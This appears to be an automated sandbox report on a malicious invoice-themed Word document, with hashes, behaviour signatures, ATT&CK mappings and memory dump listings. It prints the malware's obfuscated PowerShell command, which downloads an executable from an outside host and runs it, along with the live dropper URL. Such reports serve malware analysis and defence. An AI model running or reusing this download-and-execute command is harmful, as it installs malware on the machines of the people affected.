0b402031b8fe72ed0557559cc41a4b36cbdcdc55dcc015e966aabdb4af8a2fd6

General

Target

Invoice- 098765 Oil_Field.doc
Size

55KB
MD5

8a29b9010eae426089e59eab57bcd1de
SHA1

96b75aafab14b177b758d5735f84881f43698c6e
SHA256

0b402031b8fe72ed0557559cc41a4b36cbdcdc55dcc015e966aabdb4af8a2fd6
SHA512

fa754009bc1118cca669755aab803f5ceda44845fb3956c5da6c18258e1eb527e2d027e6fb9a3390aad376bb1f0419d6039aab21ca1f5c9261bd6f82e514dff5

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://secure01wa.2waky.com/a/eApp2.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1840	808	cmd.exe	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

808 WINWORD.EXE
808 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1064 powershell.exe
1064 powershell.exe
1064 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1064 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

808 WINWORD.EXE
808 WINWORD.EXE
808 WINWORD.EXE
808 WINWORD.EXE
808 WINWORD.EXE
808 WINWORD.EXE
808 WINWORD.EXE

pid	process
808	WINWORD.EXE
808	WINWORD.EXE

pid	process
1064	powershell.exe
1064	powershell.exe
1064	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1064	powershell.exe

pid	process
808	WINWORD.EXE
808	WINWORD.EXE
808	WINWORD.EXE
808	WINWORD.EXE
808	WINWORD.EXE
808	WINWORD.EXE
808	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 808 wrote to memory of 1840	808	WINWORD.EXE	cmd.exe
PID 808 wrote to memory of 1840	808	WINWORD.EXE	cmd.exe
PID 1840 wrote to memory of 1064	1840	cmd.exe	powershell.exe
PID 1840 wrote to memory of 1064	1840	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Invoice- 098765 Oil_Field.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:808

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\enjoyskin.cmd" "
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1840

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`ps://secure01wa.2waky.com/a/eApp2.e`xe -Destination C:\Users\Public\Documents\thehigh.e`xe;C:\Users\Public\Documents\thehigh.e`xe
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1064

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Public\Documents\enjoyskin.cmd
MD5
230f1498e57ea7fc6045737ec656a244

SHA1
9ad151dce892dd271927fb929ebecfa42a127162

SHA256
808d1c19a1f4b25535e9bf8d2b4023317ef93fcefb08ef5340c1d7538c5f2ded

SHA512
6fd461fe8b4658e8dd8db4acde0a67e4a76525fe8c2c20f3bd24fa2a9ef15c8f2145cf6ad7a92e123ac88bdca133965efdd2590717b5e455c92dda8934c73371

Download Submit
memory/808-117-0x00007FF8EBA40000-0x00007FF8EBA50000-memory.dmp

Filesize
64KB

Download
memory/808-115-0x00007FF8EBA40000-0x00007FF8EBA50000-memory.dmp

Filesize
64KB

Download
memory/808-114-0x00007FF8EBA40000-0x00007FF8EBA50000-memory.dmp

Filesize
64KB

Download
memory/808-118-0x00007FF8EBA40000-0x00007FF8EBA50000-memory.dmp

Filesize
64KB

Download
memory/808-119-0x000001B296BF0000-0x000001B296BF2000-memory.dmp

Filesize
8KB

Download
memory/808-120-0x000001B296BF0000-0x000001B296BF2000-memory.dmp

Filesize
8KB

Download
memory/808-121-0x000001B296BF0000-0x000001B296BF2000-memory.dmp

Filesize
8KB

Download
memory/808-116-0x00007FF8EBA40000-0x00007FF8EBA50000-memory.dmp

Filesize
64KB

Download
memory/1064-267-0x000002C17DFF0000-0x000002C17DFF2000-memory.dmp

Filesize
8KB

Download
memory/1064-260-0x0000000000000000-mapping.dmp

Download
memory/1064-268-0x000002C17DFF3000-0x000002C17DFF5000-memory.dmp

Filesize
8KB

Download
memory/1064-417-0x000002C17DFF8000-0x000002C17DFF9000-memory.dmp

Filesize
4KB

Download
memory/1064-416-0x000002C17DFF6000-0x000002C17DFF8000-memory.dmp

Filesize
8KB

Download
memory/1840-258-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads